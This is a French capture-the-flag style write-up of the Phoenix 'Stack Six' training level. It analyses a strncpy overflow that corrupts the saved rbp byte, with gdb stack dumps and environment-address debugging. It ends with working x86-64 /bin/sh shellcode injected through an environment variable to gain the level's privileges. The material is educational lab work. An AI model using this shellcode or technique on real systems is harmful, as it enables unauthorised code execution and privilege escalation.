kiddie
.:: @OREL ::.

Phoenix - Buffer overflow - Stack 6
[ 27/07/2019 ]
Copie originale : [https]://exploit.education/phoenix/stack-six/ --- [0 - Énoncé [1 - Description du programme [1.1 - Code Source [1.2 - Identification de la vulnérabilité [2 - Méthodologie pour l'exploitation [3 - Exploitation de la vulnérabilité [4 - Conclusion ---
[0 - Énoncé
Where does Stack Six go wrong, and what can you do with it? Depending on the architecture you’re doing this on, you may need to explore more and be creative with how to solve this level. The macro GREET is architecture dependent.
[1 - Description du programme
[1.1 - Code Source
/* * phoenix/stack-six, by https://exploit.education * * Can you execve("/bin/sh", ...) ? * * Why do fungi have to pay double bus fares? Because they take up too * mushroom. */ #include <err.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define BANNER \ "Welcome to " LEVELNAME ", brought to you by https://exploit.education" char *what = GREET; char *greet(char *who) { char buffer[128]; int maxSize; maxSize = strlen(who); if (maxSize > (sizeof(buffer) - /* ensure null termination */ 1)) { maxSize = sizeof(buffer) - 1; } strcpy(buffer, what); strncpy(buffer + strlen(buffer), who, maxSize); return strdup(buffer); } int main(int argc, char **argv) { char *ptr; printf("%s\n", BANNER); #ifdef NEWARCH if (argv[1]) { what = argv[1]; } #endif ptr = getenv("ExploitEducation"); if (NULL == ptr) { // This style of comparison prevents issues where you may accidentally // type if(ptr = NULL) {}.. errx(1, "Please specify an environment variable called ExploitEducation"); } printf("%s\n", greet(ptr)); return 0; }
Une variable what de type char* est déclarée dans le contexte global, la macro GREET est assignée à cette variable, sur l'hôte phoenix amd64 la macro GREET correspond à la chaîne de caractères "Welcome, I am pleased to meet you ". Toujours dans le contexte global, une fonction nommée greet est déclarée elle prend en argument un char* noté who et retourne un char*. Dans le corps de cette fonction, deux variables sont créées, buffer un tableau de 128 char et maxSize un integer. La valeur retournée par strlen(who) est assignée à maxSize. Puis, on teste si maxSize est supérieure à sizeof(buffer) - 1, Si c'est le cas on assigne la valeur retournée par sizeof(buffer) - 1 à maxSize. On copie le contenu de what dans la variable buffer avec strcpy(buffer,what) puis on concaténe buffer et who en limitant la taille de la chaîne finale à maxSize avec strncpy(buffer+strlen(buffer), who, maxSize). Enfin, on retourne une copie de buffer en renvoyant la valeur retournée par strdup(buffer) Le main() débute avec la création de ptr, variable de type char*, suivi de l'affichage d'une bannière. La fonction getenv() est appelée avec en argument la chaîne "ExploitEducation", la valeur retournée est assignée à la variable ptr. Si ptr vaut NULL on quitte le programme, sinon, on affiche la chaîne retrounée par greet(ptr)
[1.2 - identification de la vulnérabilité
Dans le corps de la fonction greet(), la variable maxSize est initialisée à strlen(who) quand celu-ci ne dépasse pas la taille du buffer, dans le cas contraire, maxSize prend la valeur retournée par sizeof(buffer) - 1 donc 127. Lors de l'appel à strncpy(), on copie le contenu de who dans buffer + strlen(buffer) en limitant la copie à maxSize, donc 127 caractères. Cependant, 127 est la taille allouée à buffer et la copie débute à buffer + strlen(buffer), strlen(buffer) qui vaudra 34 au moment de la copie, il y a donc un overflow de 34 octets, schématiquement cela donne : maxSize +-------------------------------------------------------+ +--------------------------------------------------------------------+ | | | | | | | overflow | | | | | +------------+-----------------------------------------+-------------+ buffer+0 buffer+strlen(buffer) buffer+127 buffer+161 On a identifié la partie vulnérable du programme, cependant, on ne connaît pas encore les conséquences de ce buffer overflow et notamment les données qu'il nous permet de modifier, en désassemblant la fonction greet() on aura un aperçu des possibilités qu'offre ce buffer overflow :
(gdb) disas greet Dump of assembler code for function greet: 0x00000000004006fd <+0>: push rbp 0x00000000004006fe <+1>: mov rbp,rsp 0x0000000000400701 <+4>: push rbx 0x0000000000400702 <+5>: sub rsp,0xa8 ...
0xa8 soit 168 octets ont été alloué à la stack de greet(), sachant que notre buffer overflow ne nous permet d'écrire que jusqu'à l'offset 161 on ne pourra écraser la sauvegarde du registre rip. Seul le dernier bit de la sauvegarde du registre rbp nous ai accessible comme démontré ci-dessous :
user@phoenix-amd64:/opt/phoenix/amd64$ export ExploitEducation=$(python -c 'print \ > "A" * 127') user@phoenix-amd64:/opt/phoenix/amd64$ gdb -q ./stack-six (gdb) b *greet+156 (gdb) r Starting program: /opt/phoenix/amd64/stack-six Welcome to phoenix/stack-six, brought to you by https://exploit.education Breakpoint 1, 0x0000000000400799 in greet () [ Legend: Modified register | Code | Heap | Stack | String ] ──────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0x0000000000600c00 → "Welcome, I am pleased to meet you AAAAAAAAAAAAAAAA..." $rbx : 0x4141414141414141 ("AAAAAAAA"?) $rcx : 0x0 $rdx : 0x0 $rsp : 0x00007fffffffe590 → 0x00007fffffffe541 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..." $rbp : 0x00007fffffffe590 → 0x00007fffffffe541 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..." $rsi : 0x00007fffffffe597 → 0x000000004007e900 $rdi : 0x0000000000600ca7 → add BYTE PTR [rax], al $rip : 0x0000000000400799 → <greet+156> pop rbp ... ──────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffe590│+0x0000: 0x00007fffffffe541 → "AAAAAAAAAA..." 0x00007fffffffe598│+0x0008: 0x00000000004007e9 → <main+78> mov rdi, rax 0x00007fffffffe5a0│+0x0010: 0x00007fffffffe618 → 0x00007fffffffe81e → "/opt/phoenix..." 0x00007fffffffe5a8│+0x0018: 0x00000001ffffe628 0x00007fffffffe5b0│+0x0020: 0x000000000040079b → <main+0> push rbp 0x00007fffffffe5b8│+0x0028: 0x00007fffffffef10 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..." 0x00007fffffffe5c0│+0x0030: 0x0000000000000001 0x00007fffffffe5c8│+0x0038: 0x00007ffff7d8fd62 → <__libc_start_main+54> mov edi, eax ────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x40078c <greet+143> call 0x400560 <strdup@plt> 0x400791 <greet+148> add rsp, 0xa8 0x400798 <greet+155> pop rbx → 0x400799 <greet+156> pop rbp 0x40079a <greet+157> ret 0x40079b <main+0> push rbp 0x40079c <main+1> mov rbp, rsp 0x40079f <main+4> sub rsp, 0x20 0x4007a3 <main+8> mov DWORD PTR [rbp-0x14], edi ...
À première vue, rien de vraiment exploitable si on se refère aux méthodes utilisées dans les derniers exercices, on observe cependant une conséquense assez intéressante lors de l'exécution de l'épilogue du main :
(gdb) 0x00000000004007f6 in main () [ Legend: Modified register | Code | Heap | Stack | String ] ──────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0x0 $rbx : 0x4141414141414141 ("AAAAAAAA"?) $rcx : 0x00007ffff7db6d07 → <__stdio_write+83> mov rdi, rax $rdx : 0x0 $rsp : 0x00007fffffffe5a0 → 0x00007fffffffe618 → 0x00007fffffffe81e → "/opt/..." $rbp : 0x00007fffffffe541 → 0x0000000000004007 $rsi : 0x00007fffffffe500 → 0x00007ffff7ffc948 → "Welcome, I am pleased to mee..." $rdi : 0xa7 $rip : 0x00000000004007f6 → <main+91> leave ... ──────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffe5a0│+0x0000: 0x00007fffffffe618 → 0x00007fffffffe81e → "/opt/phoe... 0x00007fffffffe5a8│+0x0008: 0x00000001ffffe628 0x00007fffffffe5b0│+0x0010: 0x000000000040079b → <main+0> push rbp 0x00007fffffffe5b8│+0x0018: 0x00007fffffffef10 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..." 0x00007fffffffe5c0│+0x0020: 0x0000000000000001 0x00007fffffffe5c8│+0x0028: 0x00007ffff7d8fd62 → <__libc_start_main+54> mov edi, eax 0x00007fffffffe5d0│+0x0030: 0x0000000000000000 0x00007fffffffe5d8│+0x0038: 0x00007fffffffe610 → 0x0000000000000001 ────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x4007e9 <main+78> mov rdi, rax 0x4007ec <main+81> call 0x400530 <puts@plt> 0x4007f1 <main+86> mov eax, 0x0 → 0x4007f6 <main+91> leave 0x4007f7 <main+92> ret 0x4007f8 nop DWORD PTR [rax+rax*1+0x0] 0x400800 <__do_global_ctors_aux+0> mov rax, QWORD PTR [rip+0x2001c9] 0x400807 <__do_global_ctors_aux+7> cmp rax, 0xffffffffffffffff 0x40080b <__do_global_ctors_aux+11> je 0x400840 <__do_global_ctors_aux+64> ... (gdb) 0x00000000004007f7 in main () [ Legend: Modified register | Code | Heap | Stack | String ] ──────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0x0 $rbx : 0x4141414141414141 ("AAAAAAAA"?) $rcx : 0x00007ffff7db6d07 → <__stdio_write+83> mov rdi, rax $rdx : 0x0 $rsp : 0x00007fffffffe549 → 0x0000000000000000 $rbp : 0x4007 $rsi : 0x00007fffffffe500 → 0x00007ffff7ffc948 → "Welcome, I am pleased to meet[...]" $rdi : 0xa7 $rip : 0x00000000004007f7 → <main+92> ret ... ──────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffe549│+0x0000: 0x0000000000000000 ← $rsp 0x00007fffffffe551│+0x0008: 0x1e00000000000000 0x00007fffffffe559│+0x0010: 0x0000007ffff7db6b 0x00007fffffffe561│+0x0018: 0x0000007ffff7ffb3 0x00007fffffffe569│+0x0020: 0x000a000000000000 0x00007fffffffe571│+0x0028: 0x3400007ffff7ffb3 0x00007fffffffe579│+0x0030: 0x4100007ffff7db99 0x00007fffffffe581│+0x0038: 0x4141414141414141 ────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x4007ec <main+81> call 0x400530 <puts@plt> 0x4007f1 <main+86> mov eax, 0x0 0x4007f6 <main+91> leave → 0x4007f7 <main+92> ret 0x4007f8 nop DWORD PTR [rax+rax*1+0x0] 0x400800 <__do_global_ctors_aux+0> mov rax, QWORD PTR [rip+0x2001c9] 0x400807 <__do_global_ctors_aux+7> cmp rax, 0xffffffffffffffff 0x40080b <__do_global_ctors_aux+11> je 0x400840 <__do_global_ctors_aux+64> 0x40080d <__do_global_ctors_aux+13> push rbp ...
Lors de l'exécution de l'instruction leave qui équivaut à un mov rsp,rbp suivi d'un pop rbp, la modification du dernier octet de la sauvegarde du registre rbp nous permet de faire pointer rsp sur n'importe quelle adresse située dans l'intervalle 0x00007fffffffe508-0x00007fffffffe607. Grâce à la modification de ce dernier octet, on est en mesure de contrôler le registre rip via l'instruction ret qui vient après l'appel à leave, par contre, on sera limité dans le choix de l'adresse à placer dans rip, seul celles comprises entre 0x00007fffffffe508-0x00007fffffffe607 peuvent être choisies. On va devoir trouver dans cet intervalle une valeur qu'on contrôle ou une adresse qui pointe sur la variable d'environnement ExploitEducation utilisée dans le programme. Ci-dessous un dump des valeurs réalisé avec gdb :
(gdb) x/32gx 0x00007fffffffe508 0x7fffffffe508: 0x00000000000000a6 0x00007fffffffe56f 0x7fffffffe518: 0x0000000000000001 0x4141414141414141 0x7fffffffe528: 0x00007ffff7ffb300 0x0000000000000000 0x7fffffffe538: 0x0000000000600c00 0x000000000040079b 0x7fffffffe548: 0x0000000000000000 0x0000000000000000 0x7fffffffe558: 0x00007ffff7db6b1e 0x00007ffff7ffb300 0x7fffffffe568: 0x0a00000000000000 0x00007ffff7ffb300 0x7fffffffe578: 0x00007ffff7db9934 0x4141414141414141 0x7fffffffe588: 0x00007fffffffe5ff 0x00007fffffffe628 0x7fffffffe598: 0x00000000004007f1 0x00007fffffffe618 0x7fffffffe5a8: 0x00000001ffffe628 0x000000000040079b 0x7fffffffe5b8: 0x00007fffffffef10 0x0000000000000001 0x7fffffffe5c8: 0x00007ffff7d8fd62 0x0000000000000000 0x7fffffffe5d8: 0x00007fffffffe610 0x0000000000000000 0x7fffffffe5e8: 0x00007ffff7ffdbc8 0x0400000100003e00 0x7fffffffe5f8: 0x00000000004005c9 0x0000000000000000
On retrouve des fragments de notre payload en 0x00007fffffffe520 et 0x00007fffffffe580. Cependant, l'idéal serait de récupérer l'adresse retournée par l'appel getenv("ExploitEducation") pour la placer dans rip. Pour déterminer la valeur de notre variable d'environnement, on peut utiliser les commandes suivantes dans gdb :
(gdb) p &environ $3 = (<data variable, no debug info> *) 0x7ffff7ffddf8 (gdb) x/gx 0x7ffff7ffddf8 0x7ffff7ffddf8 : 0x00007fffffffe628 (gdb) x/gx 0x00007fffffffe628 0x7fffffffe628: 0x00007fffffffe83b (gdb) x/19s 0x00007fffffffe83b 0x7fffffffe83b: "LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35... 0x7fffffffedf7: "SSH_CONNECTION=10.0.2.2 58578 10.0.2.15 22" 0x7fffffffee22: "_=/usr/local/bin/gdb" 0x7fffffffee37: "OLDPWD=/home/user" 0x7fffffffee49: "USER=user" 0x7fffffffee53: "PWD=/opt/phoenix/amd64" 0x7fffffffee6a: "LINES=57" 0x7fffffffee73: "HOME=/home/user" 0x7fffffffee83: "SSH_CLIENT=10.0.2.2 58578 22" 0x7fffffffeea0: "SSH_TTY=/dev/pts/0" 0x7fffffffeeb3: "COLUMNS=238" 0x7fffffffeebf: "MAIL=/var/mail/user" 0x7fffffffeed3: "SHELL=/bin/bash" 0x7fffffffeee3: "TERM=xterm-256color" 0x7fffffffeef7: "SHLVL=1" 0x7fffffffeeff: "ExploitEducation=", 'A' <repeats 126 times>, "\377" 0x7fffffffef90: "LOGNAME=user" 0x7fffffffef9d: "PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games" 0x7fffffffefdb: "/opt/phoenix/amd64/stack-six"
ExploitEducation est placée à 0x7fffffffeeff, si on revient au dump, on remarque une adresse assez similaire 0x7fffffffef10 stockée en 0x7fffffffe5b8 qui se trouve être le contenu de notre variable d'environnement ExploitEducation :
(gdb) x/s 0x00007fffffffef10 0x7fffffffef10: 'A' <repeats 126 times>, "\377"
On a maintenant tous les éléments pour construire notre exploit.
[2 - Méthodologie d'exploitation
En rassemblant les informations reccueillies précédemment, on doit pour exploiter stack-six : 1] Placer un shellcode dans la variable d'environnement ExploitEducation 2] Ajouter du junk après le shellcode pour atteindre 126 octets 3] Ajouter l'offset de notre shellcode, pour le moment 0xb0, qui deviendra 0xb8 après pop On tente l'exploit :
user@phoenix-amd64:/opt/phoenix/amd64$ export ExploitEducation=$(python -c 'print \ > "\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\ > \x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05" + "A" * 97 + "\xb0"') user@phoenix-amd64:/opt/phoenix/amd64$ ./stack-six Welcome to phoenix/stack-six, brought to you by https://exploit.education Welcome, I am pleased to meet you ����������������... Illegal instruction
L'exploit ne fonctionne pas. Pourtant, celle-ci lançait bien un shell sous gdb, après quelques recherches on tombe rapidement sur plusieurs articles où les auteurs exposent le même problème, leur exploit ne fonctionne pas en dehors de gdb. Cela ai du au fait que l'environnement dans lequel gdb exécute stack-six n'est pas une copie parfaite de celui utilisé dans bash, on a notamment deux variables d'environnements qui s'ajoutent dans gdb, LINES et COLUMNS, ainsi que la variable _ dont le contenu est modifié, ces changements ont pour effet de décaler les adresses sur la stack :
user@phoenix-amd64:/opt/phoenix/amd64$ env LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:... SSH_CONNECTION=10.0.2.2 38490 10.0.2.15 22 USER=user PWD=/opt/phoenix/amd64 HOME=/home/user SSH_CLIENT=10.0.2.2 38490 22 SSH_TTY=/dev/pts/0 MAIL=/var/mail/user TERM=xterm-256color SHELL=/bin/bash SHLVL=1 LOGNAME=user PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games _=/usr/bin/env OLDPWD=/home/user user@phoenix-amd64:/opt/phoenix/amd64$ gdb -q stack-six (gdb) b main Breakpoint 1 at 0x40079f (gdb) r Starting program: /opt/phoenix/amd64/stack-six Breakpoint 1, 0x000000000040079f in main () (gdb) x/19s 0x00007fffffffe8af 0x7fffffffe8af: "/opt/phoenix/amd64/stack-six" 0x7fffffffe8cc: "LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:... 0x7fffffffee88: "SSH_CONNECTION=10.0.2.2 38490 10.0.2.15 22" 0x7fffffffeeb3: "_=/usr/local/bin/gdb" 0x7fffffffeec8: "OLDPWD=/home/user" 0x7fffffffeeda: "USER=user" 0x7fffffffeee4: "PWD=/opt/phoenix/amd64" 0x7fffffffeefb: "LINES=57" 0x7fffffffef04: "HOME=/home/user" 0x7fffffffef14: "SSH_CLIENT=10.0.2.2 38490 22" 0x7fffffffef31: "SSH_TTY=/dev/pts/0" 0x7fffffffef44: "COLUMNS=238" 0x7fffffffef50: "MAIL=/var/mail/user" 0x7fffffffef64: "SHELL=/bin/bash" 0x7fffffffef74: "TERM=xterm-256color" 0x7fffffffef88: "SHLVL=1" 0x7fffffffef90: "LOGNAME=user" 0x7fffffffef9d: "PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games" 0x7fffffffefdb: "/opt/phoenix/amd64/stack-six"
Pour pallier à ce problème, on va supprimer dans gdb toutes les modifications qui fausses nos adresses et qui rendent par conséquent notre exploit invalide :
user@phoenix-amd64:/opt/phoenix/amd64$ gdb -q stack-six (gdb) unset env LINES (gdb) unset env COLUMNS (gdb) set env _ /opt/phoenix/amd64/stack-six (gdb) b *main+91 Breakpoint 1 at 0x4007f6 (gdb) r (gdb) x/32gx 0x00007fffffffe500 0x7fffffffe500: 0x00007ffff7ffc948 0x00000000000000a6 0x7fffffffe510: 0x0000000000000001 0x00007ffff7db6d0f 0x7fffffffe520: 0x00007ffff7ffc948 0x00000000000000a6 0x7fffffffe530: 0x00007fffffffe58f 0x0000000000000001 0x7fffffffe540: 0x495e545768732f2f 0x00007ffff7ffb300 0x7fffffffe550: 0x0000000000000000 0x0000000000600c00 0x7fffffffe560: 0x000000000040079b 0x0000000000000000 0x7fffffffe570: 0x0000000000000000 0x00007ffff7db6b1e 0x7fffffffe580: 0x00007ffff7ffb300 0x0a00000000000000 0x7fffffffe590: 0x00007ffff7ffb300 0x00007ffff7db9934 0x7fffffffe5a0: 0x4141414141414141 0x00007fffffffe542 0x7fffffffe5b0: 0x00007fffffffe648 0x00000000004007f1 0x7fffffffe5c0: 0x00007fffffffe638 0x00000001ffffe648 0x7fffffffe5d0: 0x000000000040079b 0x00007fffffffef10 0x7fffffffe5e0: 0x0000000000000001 0x00007ffff7d8fd62 0x7fffffffe5f0: 0x0000000000000000 0x00007fffffffe630
En reproduisant l'environnement du bash, notre shellcode se retrouve à l'adresse 0x00007fffffffe5d8. On a plus qu'a modifier notre exploit en conséquence et l'exploit devrait fonctionner.
[3 - Exploitation de la vulnérabilité
user@phoenix-amd64:/opt/phoenix/amd64$ export ExploitEducation=$(python -c 'print \ > "\x6a\x42\x58\xfe\xc4\x49\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57| > \x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05" + "A" * 97 + "\xd0"') user@phoenix-amd64:/opt/phoenix/amd64$ /opt/phoenix/amd64/stack-six Welcome to phoenix/stack-six, brought to you by https://exploit.education Welcome, I am pleased to meet you jBX��H�RH�/bin//shWT^I��I��AAAAAAAAAAAAAAA... $ id uid=1000(user) gid=1000(user) euid=406(phoenix-amd64-stack-six) egid=406(phoenix-...
[4 - Conclusion
Ce sixième exercice bien qu'en apparence similaire aux autres montre que la modification d'un seul octet peut entraîner la corruption complète d'un programme. En ce qui me concerne, j'ai eu beaucoup de mal à exploiter la vulnérabilité, j'étais focalisé sur la sauvegarde de rip et j'ai passé pas mal de temps à chercher comment l'atteindre alors que ce n'était pas l'objectif. J'ai alors douté sur la faisabilité de l'épreuve plutôt que de remettre en question ma méthode. J'ai consulté des write-up et ai découvert qu'en modifiant 1 octet on pouvait corrompre le programme. Frustrer et déçu de ne pas avoir trouvé cette solution moi-même, j'interrompai le debugger alors que la solution se trouvée deux instructions plus loin. Ces permiers exercice m'ont appris qu'il ne suffisait pas de persevérer mais qu'il fallait aussi être créatif pour progresser.

Tout est faux tout est conforme.